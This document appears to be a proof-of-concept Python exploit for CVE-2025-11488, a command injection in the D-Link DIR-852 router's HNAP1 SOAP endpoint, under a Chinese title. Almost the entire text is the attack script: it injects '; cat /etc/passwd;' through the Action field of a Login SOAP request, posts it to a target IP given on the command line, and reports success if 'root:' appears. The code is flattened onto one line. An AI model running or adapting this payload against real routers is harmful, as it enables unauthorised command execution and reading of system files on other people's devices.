CVE-2025-11488：D-Link DIR-852 HNAP1接口命令注入漏洞

#!/usr/bin/env python3 # CVE-2025-11488 - D-Link DIR-852 HNAP1 Command Injection PoC # This PoC demonstrates the command injection vulnerability in /HNAP1/ endpoint import requests import sys TARGET_URL = "http://{target}/HNAP1/" TARGET_IP = sys.argv[1] if len(sys.argv) > 1 else "192.168.0.1" # Malicious payload - inject command via SOAP request parameter # The injected command will be executed on the router's OS INJECTION_CMD = "; cat /etc/passwd;" def build_soap_payload(cmd): """Build SOAP/XML request with injected command""" soap_xml = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <Login xmlns="http://purenetworks.com/HNAP1/"> <Action>request{cmd}</Action> <Username>Admin</Username> <LoginPassword></LoginPassword> </Login> </soap:Body> </soap:Envelope>""" return soap_xml def exploit(target_ip): url = TARGET_URL.format(target=target_ip) headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": '"http://purenetworks.com/HNAP1/Login"' } payload = build_soap_payload(INJECTION_CMD) print(f"[*] Targeting: {url}") print(f"[*] Sending malicious payload...") try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") if "root:" in response.text or response.status_code == 200: print("[+] Exploit may have succeeded!") else: print("[-] Exploit may have failed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit(TARGET_IP)